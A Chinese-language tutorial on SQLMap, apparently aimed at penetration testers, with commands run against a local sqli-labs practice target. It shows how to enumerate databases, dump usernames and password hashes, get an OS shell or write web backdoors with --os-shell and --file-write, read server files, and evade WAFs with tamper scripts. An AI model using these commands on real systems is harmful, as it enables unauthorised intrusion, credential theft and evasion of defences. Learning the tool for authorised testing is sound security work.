SQLMap的使用详解
0x01 SALMap的简单介绍
SQLMap是一个自动化的SQL注入工具,主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,内置了很多绕过插件,支持大部分的主流数据库,包括MySql,Oracle,PostSQL, MicrosoftSQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase 和SAP MaxDB。
SQLMap采用了5种SQL注入技术。
- 基于报错的注入:即页面会返回错误信息,或者直接返回了注入语句的结果
- 基于布尔的注入:根据页面返回判断条件真假的注入
- 基于时间的注入:在不能根据页面返回的内容判断任何信息,要利用条件查看时间延迟语句是否已经执行(页面返回响应时间是否增加来判断)
- 联合查询注入:再可以使用Union的情况下注入
- 堆查询注入:可以同时执行多条语句时的注入
0x02 SQLMap的安装
说明: SQLMap的安装需要Python2.7(因为不支持Python3)
SQLMap下载地址: http://www.sqlmap.org
下载最新版本SQLMap到Python安装目录,并把SQLMap目录加到环境变量中.
在cmd种,输入命令sqlmap.py启动工具
0x03 SQLMap使用
A) 常规使用
**注意:**使用前先搭建一个靶机环境,搭建过程:sqli -ab靶场环境搭建过程
- 判断指定的url是否存在注入点
目标Url:http://192.168.98.160/sqli-labs-master/Less-1/?id=1
sqlmap.py -u http://192.168.98.160/sqli-labs-master/Less-1/?id=1
sqlmap的注入级别有5个级别,测试强度逐渐加深,测试过程中有交互,阅读英文选择y/n进行选择。
测试结束:可以看到测试输入的结果,sqlmap对指定的Url进行了4中类型的注入测试,并给出payload,测试输入的日志保存的文件位置,结果显示指定的url存在注入,并检测到了数据库是Mysql5.0。但是实际上我使用的是5.5的版本,这说明版本检测信息不是很准确。
- 判断文本中的请求是否存在注入:
sqlmap从http文本中获取url请求,这样不用设置其他参数(如cookie,POST等)
sqlmap.py -r filepath
3.查询当前用户下的所有数据库
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --dbs
4.获取数据库中的表名
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 -D security --tables
5.获取表中的字段
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 -D security -T users --columns.
6.获取字段内容
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 -D security -T users -C username,password --dump
7.获取数据库中的所有用户
注意:需要当前的用户具有读取包含所有用户的表的权限,使用该命令
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --users
8.获取数据库用户的密码
注意:下面命令需要当前的用户有读取包含用户密码的权限,SQLMap会先列举出用户,在列出对应用户密码hash,并尝试破解,也可以先存储,等待以后使用其他工具破解。
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --password
9.获取当前网站数据库的名称
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --current-db
10.获取当前网站的数据库的用户名称
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --current-user
可以看到当前数据库的用户是root
命令汇总:
命令 | 描述 |
---|---|
sqlmap.py -u http://192.168.98.160/sqli-labs-master/Less-1/?id=1 | 判断指定url是否有注入点 |
sqlmap.py -u “http://192.168.98.160/sqli-labs-master/Less-1/?id=1” | 当注入的url中的参数大于等于两个时,需要在url上加上双引号 |
sqlmap.py -r C:\Users\mz\Desktop\sqli_test.txt | 从指定的web数据包文本中读取url并注入 |
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 -D security --tables | 获取指定数据库中的表名 |
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 -D security -T users --columns | 获取指定数据库指定表中的所有列名 |
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 -D security -T users -C username,password --dump | 获取指定库,指定表,指定列中的内容 |
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --users | 在当前用户有权限读取包含所有用户的表的权限时,使用该命令可以列出所有的管理用户 |
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --password | 当前的用户有读取包含用户密码的权限 |
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --current-db | 获取当前网站数据库的名称 |
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --current-user | 获取当前网站使用的数据库的用户 |
B)高级参数使用
1.探测等级
–level 5 :
参数说明:需要执行的测试等级,一共5个等级(1-5),可以不加level,默认等级1,等级越高,测试使用的payload也就越多,测试深度越深,也可根据相应的格式添加自己的Payload。这个参数影响测试的注入点,GET和POST的数据都会进行测试。
–level 2:HTTP cookie被测试
–level 3: HTTP User-Agent/Referer头在level为3时测试
所以,在不确定使用那个payload或参数为注入点时,为了保证全面性,建议使用高的level值,直接使用 --level 5。
-
判断当前用户是否为管理员权限
–is-dba
-
–roles : 列出数据库管理员角色
-
–referer:HTTP Referer头
SQLMap可以在请求中伪造http的referer头,当–level参数为3或以上时,会尝试对referer注入,可以是用referer参数欺骗:
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --referer http://www.baidu.com -
–sql-shell:运行自定义SQL语句
-
–os-cmd, --os-shell:运行任意操作系统命令
命令执行后会提示数据库服务器的操作系统类型,web服务器架构,提示选择上传木马,sqlmap会选择将web木写入到web服务器,提供命令执行的环境
-
–file-read:从数据库服务中提取文件
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --file-read /etc/profile -v 1
-
–file-write–file-dest:上传到数据库服务器
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --file-write c:/1.txt --file-dest /www/web/
高级参数命令总汇
命令 | 描述 |
---|---|
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --level 5 | 指定探测等级 |
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --is-dba | 当前用户是否为管理员 |
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --roles | 查看数据库的用户的角色,需要当前用户有权限读取包含所有用户的表,该命令可以列出每个用户角色,也可以用-U指定用户 |
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --referer http://www.baidu.com | 使用此参数提供虚假的http头 |
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --sql-shell 命令 | 获得一个sql的shell,运行自己的sql语句 |
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --os-cmd 命令 | 获取widnows操作系统的shell,执行windows的cmd命令,需要当前的数据库is dba,SQLMap上传包含用户自定义的函数sys_exec()和sys_eval(),那么这两个函数就可以执行系统命令,在Microsoft SQL Server中,sqlmap将使用xpcmdshell存储过程,如果被禁用,sqlmap将会重启他,不存在则自动创建 |
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --os-shell | 获取linux操作系统的shell,执行linux的命令,需要当前的数据用户is dba,当不能执行多语句时,可以INTO OUT FILE向服务器可写目录写入web后门(ASP, .NET, JSP和PHP) |
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --file-read filepath | 从数据库中读取文件 |
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --file-write filepath --file-dest filepath | 将本地指定文件写入到服务器中,条件:数据库为Mysql,postgreSQL,Microsoft SQL Server,并且当前用户有权限使用特定的函数,上传的文件可以是二进制或者文本 |
C)自带绕过模块tamper的使用
注意:sqlmap在默认的情况下除了使用CHAR()函数防止出现单引号,没有对注入的数据进行修改,还刻有使用–tamper参数对数据进行修改,用来绕过WAF等设备,其中大部分脚本主要使用正则模块替换攻击载荷字符编码的方式绕过WAF的检测规则。
命令:sqlmap.py xxxxx --tamper “模块”
在sqlmap/tamper中存在很多的绕过脚本
其中一个脚本如下:
有两个方法,一个方法是依赖项,另一个tamper使用正则替换paylaod
proority 定义脚本的优先级,在使用多个tamper脚本的情况起作用
dependencies()声明该脚本适用/不适用的范围,可以为空
tamper将传入的payload进行正则替换输出
日常使用sqlmap渗透的过程中,先使用参数 --identify-waf进行检测
脚本介绍:
脚本名 | 作用 |
---|---|
apostrophemask.py | 将引号替换为UTF-8,用于过滤单引号 |
base64encode.py | 替换为base64编码 |
multiplespaces.py | 围绕SQL关键字添加多个空格 |
space2plus.py | 使用+替换为空格 |
nonrecusiverplacement.py | 作为双重查询语句,用双重语句替代预定义的sql关键字,适用于非常弱的自定义过滤器) |
space2randomblank.py | 将空格转换为其他随机字符 |
unionalltounion.py | 将UNION ALL SELECT 替换为UNION SELECT |
securesphere.py | 追加特制的字符串 |
between.py | 使用NOTBETWEEN 0 AND 替换大于号(>),用BETWEEN AND 替换等号(=) |
percentage.py | ASP允许在每一个字符前添加一个% |
sp_password.py | 从DBMS日志的自动模糊处理的有效载荷中追加sp_password |
charenconde.py | 对给定的payload全部字符使用url编码(以及编码的字符不做处理) |
randomcase.py | 随机大小写 |
charunicodeencode.py | 字符unicode编码 |
space2comment.py | 将空格替换为/**/ |
equaltolike.py | 将等号替换为like |
greatest.py | 绕过“>”的过滤,用GREATEST替换大于号 |
ifnull2ifisnnull.py | 绕过IFNULL的过滤,将类似IFNULL(A,B)替换为IF(ISNULL(A),B,A) |
modsecurityversioned.py | 过滤空格,使用mysql内连注释的方式进行注入 |
space2mysqlblank.py | 将空格转换为其他空白符(适用于Mysql) |
modsecurityzeroversionedd.py | 使用msyql内联注释的方式(/!00000/)进行注入 |
space2mysqldash.py | 将空格替换为–,并添加一个换行符 |
bluecoat.py | 在sql关键字之后使用随机有效的控板字符替换空格符,随后用LIKE替换等于号 |
versionedkeywords.py | 注释绕过 |
halfversiondmorekeywords.py | 当数据库为mysql时绕过防火墙,在每个关键字之前添加mysql版本注释 |
space2morehash.py | 将空格替换为#号,并添加一个随机字符串和换行符 |
apostrophenullencode.py | 用非法双字节unicode字符串替换单引号 |
appendnullbyte.py | 在有效负荷的结束伪造假证零字节字符编码 |
chardoubleencode.py | 对给定的payload全部字符串使用双重url编码(已经编码的字符不进行编码) |
unimagicquotes.py | 用一个多字节组合(%bf%27)和末尾通用注释一起替换空格 |
randomconments.py | 使用/**/分割SQL关键字 |
SQLMap的使用注意:
虽然SQLMap自带的tamper可以做很多事情,但实际情况中,遇到的情况通常比较复杂,为了面对复杂的情况,不仅要学习使用自动的tamper,还有掌握tamper的编写规则,在实战环境中编写自己的规则绕过WAF,IDS,IPS。